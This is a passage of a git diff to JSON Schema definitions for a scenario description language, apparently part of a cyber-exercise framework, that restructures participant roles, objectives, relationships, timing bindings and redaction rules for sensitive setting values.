Revision","x-raes-realization-dimension":false},"stories":{"additionalProperties":{"$ref":"#/$defs/Story"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Stories","type":"object"},"temporal_constraints":{"additionalProperties":{"$ref":"#/$defs/TemporalConstraint"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Temporal Constraints","type":"object"},"time_domain_mappings":{"additionalProperties":{"$ref":"#/$defs/TimeDomainMapping"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Time Domain Mappings","type":"object"},"time_domains":{"additionalProperties":{"$ref":"#/$defs/TimeDomain"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Time Domains","type":"object"},"time_progression_policies":{"additionalProperties":{"$ref":"#/$defs/TimeProgressionPolicy"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Time Progression Policies","type":"object"},"version":{"$ref":"#/$defs/_r83"},"workflows":{"additionalProperties":{"$ref":"#/$defs/Workflow"},"propertyNames":{"maxLength":2048,"minLength":1,"not":{"pattern":"[^a-z0-9_.-]"},"pattern":"^(?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63}$","type":"string"},"title":"Workflows","type":"object"}}, + "required": ["name","materialization_provenance"], + "title": "SDL Materialization Attestation v1", + "type": "object", + "x-raes-document-phase": "materialized-scenario", + "x-raes-invariants": [{"description":"Complete origins, source/plan/predecessor/producer identity and realized inventory require the admitted source and execution context; descriptive admission grants no execution authority.","id":"materialized-sdl-source-and-inventory-binding","inputs":[{"contract_id":"materialized-scenario-v1","instance_path":"#"}],"level":"error","validator":"raes_processor.planner.admit_materialization_submission"},{"description":"Generated artifact output names and paths, consumers, and dependency entries must be unique, and generated artifact consumers must be read-only. Explicit selections must name declared consumer-selectable outputs; SSH artifact consumers must select outputs and every consumer-selectable SSH output must be selected.","id":"stateful-generated-artifact-semantics","inputs":[{"contract_id":"materialized-scenario-v1","instance_path":"#"}],"level":"error","validator":"raes.stateful_resources.GeneratedArtifact._unique_outputs_and_consumers"},{"description":"Persistent volume consumers and dependency entries must be unique and access cardinality must match the declared portable access mode.","id":"stateful-persistent-volume-semantics","inputs":[{"contract_id":"materialized-scenario-v1","instance_path":"#"}],"level":"error","validator":"raes.stateful_resources.PersistentVolume._unique_consumers"},{"description":"Stateful resource consumers and dependencies must resolve unambiguously, use the POSIX v1 path dialect, and must not collide on a consumer node mount destination.","id":"stateful-cross-resource-semantics","inputs":[{"contract_id":"materialized-scenario-v1","instance_path":"#"}],"level":"error","validator":"raes._stateful_resource_references.stateful_resource_reference_errors"},{"description":"Service-target content must resolve to one named service, retain exact tenant/reset ownership and content ordering, and bind observed-state postconditions to participant observation boundaries.","id":"initial-service-state-semantics","inputs":[{"contract_id":"materialized-scenario-v1","instance_path":"#"}],"level":"error","validator":"raes.validator.SemanticValidator._verify_service_materialization"},{"description":"Explicit temporal bindings must resolve the action's shared clock, constraint and selected event. Dwell conditions require authorized observation boundaries and observable support and evidence. Numeric parameters are revalidated after binding.","id":"participant-shared-time-source-bindings","inputs":[{"contract_id":"materialized-scenario-v1","instance_path":"#"}],"level":"error","validator":"raes.semantics.participant_temporal_bindings.participant_temporal_binding_errors"}], + "x-raes-semantic-profile": {"contract_id":"materialized-scenario-v1","entry_schema_contract_id":"raes-semantic-invariants-v1","entry_schema_pointer":"#/$defs/RaesSemanticInvariantEntryModel","id":"raes-semantic-invariants-v1","keyword":"x-raes-invariants","required":true,"uri":"https://openrae.github.io/rae/schemas/semantic-invariants/v1"} +} diff --git a/contracts/schemas/sdl/sdl-authoring-input-v1.json b/contracts/schemas/sdl/sdl-authoring-input-v1.json index d3670dbcd..0758956ef 100644 --- a/contracts/schemas/sdl/sdl-authoring-input-v1.json +++ b/contracts/schemas/sdl/sdl-authoring-input-v1.json @@ -285,7 +285,7 @@ }, "Agent": { "additionalProperties": false, - "description": "A role-neutral participant in the scenario.\n\nAgents reference existing scenario elements:\n\n- ``entity`` links to the entities section (team/role) and supplies\n identity and role per ADR-020\n- ``starting_accounts`` links to the accounts section\n- ``allowed_subnets`` links to infrastructure entries\n- ``initial_knowledge`` references nodes and infrastructure\n- ``starting_assertions`` links to precondition assertions, giving the\n authoring surface a declarative hook for participant-relevant starting\n state without equating a probe implementation with truth (ACT-601)\n- ``authority_anchors`` links to declared SDL elements (entities,\n relationships, content, etc.) that anchor what the participant is\n allowed or expected to do in scenario meaning (ACT-601, ADR-020)\n- ``operating_scope`` links to targetable named scenario elements\n (subnets, hosts, services, content) defining where the participant\n may act or observe (ACT-601, ADR-020)\n- ``observation_boundaries`` links to declared participant observation\n boundaries that define participant-specific projections of world and\n evidence state (SEM-208)\n- ``interactive_access`` declares the compute-node/channel pairs that may be offered\n to this participant, without inferring a listener, locator, credential,\n operating scope, action authority, or successful realization (DSL-117)\n\nPer ADR-073 the CybORG-inherited ``reward_calculator`` label was removed;\nit was an unbound, unvalidated string and graded reward lives in the\nexperiment/evaluator plane (ADR-055/064/069).", + "description": "A role-neutral participant in the scenario.\n\nAgents reference existing scenario elements:\n\n- ``affiliations`` links to entities without conferring identity or authority\n- ``role`` explicitly selects an exercise role, overriding inherited role\n- ``starting_accounts`` links to the accounts section\n- ``allowed_subnets`` links to infrastructure entries\n- ``initial_knowledge`` references nodes and infrastructure\n- ``starting_assertions`` links to precondition assertions, giving the\n authoring surface a declarative hook for participant-relevant starting\n state without equating a probe implementation with truth (ACT-601)\n- ``authority_anchors`` links to declared SDL elements (entities,\n relationships, content, etc.) that anchor what the participant is\n allowed or expected to do in scenario meaning (ACT-601, ADR-020)\n- ``operating_scope`` links to targetable named scenario elements\n (subnets, hosts, services, content) defining where the participant\n may act or observe (ACT-601, ADR-020)\n- ``observation_boundaries`` links to declared participant observation\n boundaries that define participant-specific projections of world and\n evidence state (SEM-208)\n- ``interactive_access`` declares the compute-node/channel pairs that may be offered\n to this participant, without inferring a listener, locator, credential,\n operating scope, action authority, or successful realization (DSL-117)\n\nPer ADR-073 the CybORG-inherited ``reward_calculator`` label was removed;\nit was an unbound, unvalidated string and graded reward lives in the\nexperiment/evaluator plane (ADR-055/064/069).", "properties": { "actions": { "items": { @@ -294,6 +294,13 @@ "title": "Actions", "type": "array" }, + "affiliations": { + "items": { + "type": "string" + }, + "title": "Affiliations", + "type": "array" + }, "allowed_subnets": { "items": { "type": "string" @@ -313,11 +320,6 @@ "title": "Description", "type": "string" }, - "entity": { - "default": "", - "title": "Entity", - "type": "string" - }, "initial_knowledge": { "anyOf": [ { @@ -360,6 +362,26 @@ "title": "Operating Scope", "type": "array" }, + "role": { + "anyOf": [ + { + "$ref": "#/$defs/ExerciseRole" + }, + { + "not": { + "pattern": "[\\r\\n]" + }, + "pattern": "^\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}$", + "type": "string", + "x-raes-variable-reference": true + }, + { + "type": "null" + } + ], + "default": null, + "title": "Role" + }, "starting_accounts": { "items": { "type": "string" @@ -1046,6 +1068,69 @@ "title": "AssetValueLevel", "type": "string" }, + "AugmentationScopePolicy": { + "additionalProperties": false, + "description": "Authors opt into restrictions; omission imposes no new authoring burden.", + "properties": { + "default": { + "default": "open", + "enum": [ + "open", + "closed" + ], + "title": "Default", + "type": "string" + }, + "scopes": { + "default": [], + "items": { + "$ref": "#/$defs/AugmentationScopeRule" + }, + "maxItems": 256, + "title": "Scopes", + "type": "array" + } + }, + "title": "AugmentationScopePolicy", + "type": "object" + }, + "AugmentationScopeRule": { + "additionalProperties": false, + "description": "One explicit node or concern permission, using a semantic address.", + "properties": { + "namespace": { + "default": [], + "items": { + "maxLength": 64, + "pattern": "^(?:[a-z0-9][a-z0-9_-]{0,63}|__private)$", + "type": "string" + }, + "maxItems": 31, + "title": "Namespace", + "type": "array" + }, + "permission": { + "enum": [ + "open", + "closed" + ], + "title": "Permission", + "type": "string" + }, + "scope": { + "maxLength": 4096, + "pattern": "^(?:/(?:[^~/]|~[01])*)*$", + "title": "Scope", + "type": "string" + } + }, + "required": [ + "scope", + "permission" + ], + "title": "AugmentationScopeRule", + "type": "object" + }, "AuthorRealizationPosture": { "description": "Authored default posture, distinct from capability support modes.", "enum": [ @@ -2013,6 +2098,25 @@ "DatabaseSetting": { "additionalProperties": false, "description": "An observed database runtime setting with provenance and sensitivity.\n\nExplicit ``redacted``/``operator_secret`` classifications omit raw values;\ncredential-shaped names remain scenario content unless the author marks the\nvalue withheld.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -2058,6 +2162,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "DatabaseSetting", "type": "object" }, @@ -2640,6 +2757,25 @@ "DnsRuntimeSetting": { "additionalProperties": false, "description": "Bounded DNS runtime setting with provenance and redaction.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -2685,6 +2821,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "DnsRuntimeSetting", "type": "object" }, @@ -4648,6 +4797,25 @@ "ImageBuildArg": { "additionalProperties": false, "description": "An observed build argument with value-sensitivity classification.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -4680,6 +4848,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "ImageBuildArg", "type": "object" }, @@ -4769,6 +4950,25 @@ "ImageEnvironmentDefault": { "additionalProperties": false, "description": "An image-default environment variable with sensitivity classification.", + "if": { + "properties": { + "value_classification": { + "anyOf": [ + { + "pattern": "^[Rr][Ee][Dd][Aa][Cc][Tt][Ee][Dd]$", + "type": "string" + }, + { + "pattern": "^[Oo][Pp][Ee][Rr][Aa][Tt][Oo][Rr][_-][Ss][Ee][Cc][Rr][Ee][Tt]$", + "type": "string" + } + ] + } + }, + "required": [ + "value_classification" + ] + }, "properties": { "description": { "default": "", @@ -4801,6 +5001,19 @@ "required": [ "name" ], + "then": { + "not": { + "properties": { + "value": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "value" + ] + } + }, "title": "ImageEnvironmentDefault", "type": "object" }, @@ -5117,6 +5330,96 @@ "title": "KernelBoundary", "type": "string" }, + "LocalOutcomeCriterion": { + "additionalProperties": false, + "description": "An explicitly declared realized effect, never an action status shortcut.", + "properties": { + "criterion_id": { + "minLength": 1, + "pattern": "\\S", + "title": "Criterion Id", + "type": "string" + }, + "effect_id": { + "minLength": 1, + "pattern": "\\S", + "title": "Effect Id", + "type": "string" + }, + "source_id": { + "minLength": 1, + "pattern": "\\S", + "title": "Source Id", + "type": "string" + } + }, + "required": [ + "criterion_id", + "source_id", + "effect_id" + ], + "title": "LocalOutcomeCriterion", + "type": "object" + }, + "LocalOutcomeDefinition": { + "additionalProperties": false, + "description": "All criteria must be evidenced; contradictory observations need correction.", + "properties": { + "category": { + "enum": [ + "task_completion", + "effect_realization" + ], + "title": "Category", + "type": "string" + }, + "conflict_policy": { + "const": "retain_until_explicit_correction", + "title": "Conflict Policy", + "type": "string" + }, + "criteria": { + "items": { + "$ref": "#/$defs/LocalOutcomeCriterion" + }, + "minItems": 1, + "title": "Criteria", + "type": "array" + }, + "criterion_basis": { + "minLength": 1, + "pattern": "\\S", + "title": "Criterion Basis", + "type": "string" + }, + "episode_policy": { + "const": "reset_without_transfer", + "title": "Episode Policy", + "type": "string" + }, + "freshness_policy": { + "const": "exact_observation_cut", + "title": "Freshness Policy", + "type": "string" + }, + "model_version": { + "const": "1.0.0", + "title": "Model Version", + "type": "string" + } + }, + "required": [ + "model_version", + "category", + "criterion_basis", + "criteria", + "conflict_policy", + "freshness_policy", + "episode_policy" + ], + "title": "LocalOutcomeDefinition", + "type": "object" + }, "LogicalTimingTarget": { "additionalProperties": false, "properties": { @@ -6006,6 +6309,30 @@ }, "Objective": { "additionalProperties": false, + "anyOf": [ + { + "properties": { + "owner": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "owner" + ] + }, + { + "properties": { + "assigned_participant": { + "minLength": 1, + "type": "string" + } + }, + "required": [ + "assigned_participant" + ] + } + ], "description": "A declarative experiment objective.", "properties": { "actions": { @@ -6015,10 +6342,18 @@ "title": "Actions", "type": "array" }, - "agent": { - "default": "", - "title": "Agent", - "type": "string" + "assigned_participant": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Assigned Participant" }, "depends_on": { "items": { @@ -6032,18 +6367,26 @@ "title": "Description", "type": "string" }, - "entity": { - "default": "", - "title": "Entity", - "type": "string" - }, "name": { "default": "", "title": "Name", "type": "string" }, - "success": { - "$ref": "#/$defs/ObjectiveSuccess" + "owner": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Owner" + }, + "success": { + "$ref": "#/$defs/ObjectiveSuccess" }, "targets": { "items": { @@ -6847,6 +7190,34 @@ }, "OutcomeInterpretationRule": { "additionalProperties": false, + "allOf": [ + { + "else": { + "properties": { + "target_bindings": { + "minItems": 1 + } + } + }, + "if": { + "properties": { + "local_outcome": { + "type": "object" + } + }, + "required": [ + "local_outcome" + ] + }, + "then": { + "properties": { + "semantic_version": { + "const": "2.0.0" + } + } + } + } + ], "description": "Explicit SEM-215 rule relating participant-local outcomes to meaning layers.", "properties": { "diagnostics": { @@ -6876,6 +7247,17 @@ "title": "Limitations", "type": "array" }, + "local_outcome": { + "anyOf": [ + { + "$ref": "#/$defs/LocalOutcomeDefinition" + }, + { + "type": "null" + } + ], + "default": null + }, "observation_point_basis": { "title": "Observation Point Basis", "type": "string" @@ -6899,7 +7281,6 @@ "items": { "$ref": "#/$defs/OutcomeInterpretationTargetBinding" }, - "minItems": 1, "title": "Target Bindings", "type": "array" } @@ -7586,11 +7967,23 @@ "type": "string" }, "cooldown_ticks": { + "anyOf": [ + { + "maximum": 1000000000, + "minimum": 0, + "type": "integer" + }, + { + "not": { + "pattern": "[\\r\\n]" + }, + "pattern": "^\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}$", + "type": "string", + "x-raes-variable-reference": true + } + ], "default": 0, - "maximum": 1000000000, - "minimum": 0, - "title": "Cooldown Ticks", - "type": "integer" + "title": "Cooldown Ticks" }, "depends_on": { "items": { @@ -7607,11 +8000,23 @@ "type": "array" }, "max_retries": { + "anyOf": [ + { + "maximum": 1024, + "minimum": 0, + "type": "integer" + }, + { + "not": { + "pattern": "[\\r\\n]" + }, + "pattern": "^\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}$", + "type": "string", + "x-raes-variable-reference": true + } + ], "default": 0, - "maximum": 1024, - "minimum": 0, - "title": "Max Retries", - "type": "integer" + "title": "Max Retries" }, "retryable_failure_classes": { "items": { @@ -7622,10 +8027,22 @@ "type": "array" }, "weight": { - "maximum": 1000000000, - "minimum": 1, - "title": "Weight", - "type": "integer" + "anyOf": [ + { + "maximum": 1000000000, + "minimum": 1, + "type": "integer" + }, + { + "not": { + "pattern": "[\\r\\n]" + }, + "pattern": "^\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}$", + "type": "string", + "x-raes-variable-reference": true + } + ], + "title": "Weight" } }, "required": [ @@ -7640,16 +8057,40 @@ "description": "Inclusive bounded interval for the next occurrence on the shared clock.", "properties": { "maximum_ticks": { - "maximum": 1000000000, - "minimum": 1, - "title": "Maximum Ticks", - "type": "integer" + "anyOf": [ + { + "maximum": 1000000000, + "minimum": 1, + "type": "integer" + }, + { + "not": { + "pattern": "[\\r\\n]" + }, + "pattern": "^\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}$", + "type": "string", + "x-raes-variable-reference": true + } + ], + "title": "Maximum Ticks" }, "minimum_ticks": { - "maximum": 1000000000, - "minimum": 1, - "title": "Minimum Ticks", - "type": "integer" + "anyOf": [ + { + "maximum": 1000000000, + "minimum": 1, + "type": "integer" + }, + { + "not": { + "pattern": "[\\r\\n]" + }, + "pattern": "^\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}$", + "type": "string", + "x-raes-variable-reference": true + } + ], + "title": "Minimum Ticks" } }, "required": [ @@ -7684,17 +8125,41 @@ "default": "stop" }, "max_action_attempts": { - "maximum": 1000000, - "minimum": 1, - "title": "Max Action Attempts", - "type": "integer" + "anyOf": [ + { + "maximum": 1000000, + "minimum": 1, + "type": "integer" + }, + { + "not": { + "pattern": "[\\r\\n]" + }, + "pattern": "^\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}$", + "type": "string", + "x-raes-variable-reference": true + } + ], + "title": "Max Action Attempts" }, "max_in_flight": { + "anyOf": [ + { + "maximum": 1024, + "minimum": 1, + "type": "integer" + }, + { + "not": { + "pattern": "[\\r\\n]" + }, + "pattern": "^\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}$", + "type": "string", + "x-raes-variable-reference": true + } + ], "default": 1, - "maximum": 1024, - "minimum": 1, - "title": "Max In Flight", - "type": "integer" + "title": "Max In Flight" }, "observation_boundary_ref": { "minLength": 1, @@ -7788,30 +8253,78 @@ "default": "stop" }, "max_action_attempts": { - "maximum": 1000000, - "minimum": 1, - "title": "Max Action Attempts", - "type": "integer" + "anyOf": [ + { + "maximum": 1000000, + "minimum": 1, + "type": "integer" + }, + { + "not": { + "pattern": "[\\r\\n]" + }, + "pattern": "^\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}$", + "type": "string", + "x-raes-variable-reference": true + } + ], + "title": "Max Action Attempts" }, "max_burst_size": { + "anyOf": [ + { + "maximum": 1024, + "minimum": 1, + "type": "integer" + }, + { + "not": { + "pattern": "[\\r\\n]" + }, + "pattern": "^\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}$", + "type": "string", + "x-raes-variable-reference": true + } + ], "default": 1, - "maximum": 1024, - "minimum": 1, - "title": "Max Burst Size", - "type": "integer" + "title": "Max Burst Size" }, "max_in_flight": { + "anyOf": [ + { + "maximum": 1024, + "minimum": 1, + "type": "integer" + }, + { + "not": { + "pattern": "[\\r\\n]" + }, + "pattern": "^\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}$", + "type": "string", + "x-raes-variable-reference": true + } + ], "default": 1, - "maximum": 1024, - "minimum": 1, - "title": "Max In Flight", - "type": "integer" + "title": "Max In Flight" }, "max_occurrences": { - "maximum": 1000000, - "minimum": 1, - "title": "Max Occurrences", - "type": "integer" + "anyOf": [ + { + "maximum": 1000000, + "minimum": 1, + "type": "integer" + }, + { + "not": { + "pattern": "[\\r\\n]" + }, + "pattern": "^\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}$", + "type": "string", + "x-raes-variable-reference": true + } + ], + "title": "Max Occurrences" }, "observation_boundary_ref": { "minLength": 1, @@ -7935,30 +8448,78 @@ "default": "stop" }, "max_action_attempts": { - "maximum": 1000000, - "minimum": 1, - "title": "Max Action Attempts", - "type": "integer" + "anyOf": [ + { + "maximum": 1000000, + "minimum": 1, + "type": "integer" + }, + { + "not": { + "pattern": "[\\r\\n]" + }, + "pattern": "^\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}$", + "type": "string", + "x-raes-variable-reference": true + } + ], + "title": "Max Action Attempts" }, "max_burst_size": { + "anyOf": [ + { + "maximum": 1024, + "minimum": 1, + "type": "integer" + }, + { + "not": { + "pattern": "[\\r\\n]" + }, + "pattern": "^\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}$", + "type": "string", + "x-raes-variable-reference": true + } + ], "default": 1, - "maximum": 1024, - "minimum": 1, - "title": "Max Burst Size", - "type": "integer" + "title": "Max Burst Size" }, "max_in_flight": { + "anyOf": [ + { + "maximum": 1024, + "minimum": 1, + "type": "integer" + }, + { + "not": { + "pattern": "[\\r\\n]" + }, + "pattern": "^\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}$", + "type": "string", + "x-raes-variable-reference": true + } + ], "default": 1, - "maximum": 1024, - "minimum": 1, - "title": "Max In Flight", - "type": "integer" + "title": "Max In Flight" }, "max_occurrences": { - "maximum": 1000000, - "minimum": 1, - "title": "Max Occurrences", - "type": "integer" + "anyOf": [ + { + "maximum": 1000000, + "minimum": 1, + "type": "integer" + }, + { + "not": { + "pattern": "[\\r\\n]" + }, + "pattern": "^\\$\\{((?:(?:[a-z0-9][a-z0-9_-]{0,63}|__private)\\.)*[a-z0-9][a-z0-9_-]{0,63})\\}$", + "type": "string", + "x-raes-variable-reference": true + } + ], + "title": "Max Occurrences" }, "observation_boundary_ref": { "minLength": 1, @@ -8906,6 +9467,136 @@ "title": "ParticipantPreconditionClass", "type": "string" }, + "ParticipantRelationship": { + "additionalProperties": false, + "description": "Directed authored intent; a declaration never grants operational rights.", + "if": { + "properties": { + "control_specification_ref": { + "type": "string" + } + }, + "required": [ + "control_specification_ref" + ] + }, + "properties": { + "authority_basis_refs": { + "items": { + "minLength": 1, + "pattern": "\\S", + "type": "string" + }, + "title": "Authority Basis Refs", + "type": "array", + "uniqueItems": true + }, + "behavior_specification_refs": { + "items": { + "minLength": 1, + "pattern": "\\S", + "type": "string" + }, + "title": "Behavior Specification Refs", + "type": "array", + "uniqueItems": true + }, + "control_specification_ref": { + "anyOf": [ + { + "minLength": 1, + "pattern": "\\S", + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Control Specification Ref" + }, + "kind": { + "$ref": "#/$defs/ParticipantRelationshipKind" + }, + "objective_refs": { + "items": { + "minLength": 1, + "pattern": "\\S", + "type": "string" + }, + "title": "Objective Refs", + "type": "array", + "uniqueItems": true + }, + "observation_boundary_refs": { + "items": { + "minLength": 1, + "pattern": "\\S", + "type": "string" + }, + "title": "Observation Boundary Refs", + "type": "array", + "uniqueItems": true + }, + "scope_refs": { + "items": { + "minLength": 1, + "pattern": "\\S", + "type": "string" + }, + "title": "Scope Refs", + "type": "array", + "uniqueItems": true + }, + "source_action_refs": { + "items": { + "minLength": 1, + "pattern": "\\S", + "type": "string" + }, + "title": "Source Action Refs", + "type": "array", + "uniqueItems": true + }, + "target_action_refs": { + "items": { + "minLength": 1, + "pattern": "\\S", + "type": "string" + }, + "title": "Target Action Refs", + "type": "array", + "uniqueItems": true + } + }, + "required": [ + "kind" + ], + "then": { + "properties": { + "kind": { + "enum": [ + "delegation", + "supervision" + ] + } + } + }, + "title": "ParticipantRelationship", + "type": "object" + }, + "ParticipantRelationshipKind": { + "description": "Portable relation meanings, independent of backend mechanisms.", + "enum": [ + "coordination", + "delegation", + "cooperation", + "competition", + "supervision" + ], + "title": "ParticipantRelationshipKind", + "type": "string" + }, "ParticipantResourceAccountingMode": { "enum": [ "windowed_counter", @@ -9201,6 +9892,80 @@ "title": "ParticipantResourceResetMode", "type": "string" }, + "ParticipantSharedTimeBinding": { + "additionalProperties": false, + "description": "Explicit shared-time binding; legacy descriptive references stay opaque.", + "properties": { + "clock_ref": { + "minLength": 1, + "title": "Clock Ref", + "type": "string" + }, + "condition_precondition_id": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Condition Precondition Id" + }, + "constraint_ref": { + "minLength": 1, + "title": "Constraint Ref", + "type": "string" + }, + "event_point": { + "enum": [ + "start", + "end", + "observed", + "effective" + ], + "title": "Event Point", + "type": "string" + }, + "evidence_mode": { + "enum": [ + "event", + "continuous" + ], + "title": "Evidence Mode", + "type": "string" + }, + "observation_boundary_ref": { + "anyOf": [ + { + "minLength": 1, + "type": "string" + }, + { + "type": "null" + } + ], + "default": null, + "title": "Observation Boundary Ref" + }, + "profile": { + "const": "participant-shared-time/v1", + "title": "Profile", + "type": "string" + } + }, + "required": [ + "profile", + "clock_ref", + "constraint_ref", + "event_point", + "evidence_mode" + ], + "title": "ParticipantSharedTimeBinding", + "type": "object" + }, "ParticipantTemporalContract": { "additionalProperties": false, "description": "Typed SEM-213 temporal contract for a participant action.", @@ -9280,6 +10045,17 @@ "default": null, "title": "Reset Boundary" }, + "shared_time_binding": { + "anyOf": [ + { + "$ref": "#/$defs/ParticipantSharedTimeBinding" + }, + { + "type": "null" + } + ], + "default": null + }, "temporal_id": { "title": "Temporal Id", "type": "string" @@ -10203,14 +10979,81 @@ "accounts.node", "accounts.domain_ref", "identity_domains.authority_account_ref", - "objectives.agent", - "objectives.entity" + "objectives.assigned_participant", + "objectives.owner" ], "title": "ReferenceTargetSlot", "type": "string" }, "Relationship": { "additionalProperties": false, + "allOf": [ + { + "else": { + "properties": { + "participant": { + "type": "null" + } + } + }, + "if": { + "properties": { + "type": { + "const": "participant" + } + }, + "required": [ + "type" + ] + }, + "then": { + "properties": { + "carrier_placement": { + "type": "null" + }, + "database_access": { + "type": "null" + }, + "domain_controller": { + "type": "null" + }, + "domain_join": { + "type": "null" + }, + "forest_trust": { + "type": "null" + }, + "forwarding_edge": { + "type": "null" + }, + "identity_federation": { + "type": "null" + }, + "mail_access": { + "type": "null" + }, + "participant": { + "type": "object" + }, + "properties": { + "maxProperties": 0 + }, + "proxy_upstream": { + "type": "null" + }, + "service_integration": { + "type": "null" + }, + "shared_service": { + "type": "null" + } + }, + "required": [ + "participant" + ] + } + } + ], "description": "A typed directed edge between two named scenario elements.\n\nSource and target can reference any named element in the scenario:\nnodes, features, accounts, entities, or infrastructure entries.\nThe validator checks that both endpoints resolve.\n\nThe ``properties`` dict carries type-specific metadata (e.g.,\n``trust_type: parent-child`` for AD trusts, ``protocol: SAML``\nfor federation). It's a flat dict rather than typed sub-models\nbecause relationship properties vary widely and we don't want\nto gate expressiveness on pre-modeling every variant.\n\n``database_access`` and ``mail_access`` are typed exceptions where\nprotocol/auth details need structural validation rather than prose.\n``forwarding_edge``, ``service_integration``, and ``proxy_upstream`` are\nthe same kind of typed exception for, respectively, a forwarding /\nintel-sync agent's inter-node trust edge (SCN-010 \u00a75.7), a platform\nconsumer-to-engine service integration, and a reverse-proxy/gateway\nroute-to-origin upstream hop. Each keeps protocol/auth/topology facts\nstructurally validated and cross-referable rather than buried in prose.", "properties": { "carrier_placement": { @@ -10306,6 +11149,17 @@ ], "default": null }, + "participant": { + "anyOf": [ + { + "$ref": "#/$defs/ParticipantRelationship" + }, + { + "type": "null" + } + ], + "default": null + }, "properties": { "additionalProperties": { "type": "string" @@ -10986,7 +11840,8 @@ "forest_trusts", "directory_federates_to", "placed_on_carrier", - "uses_shared_service" + "uses_shared_service", + "participant" ], "title": "RelationshipType", "type": "string" @@ -11524,6 +12379,25 @@ "RuntimeApplicationExposedField": { "additionalProperties": false, "description": "A route-visible fixture 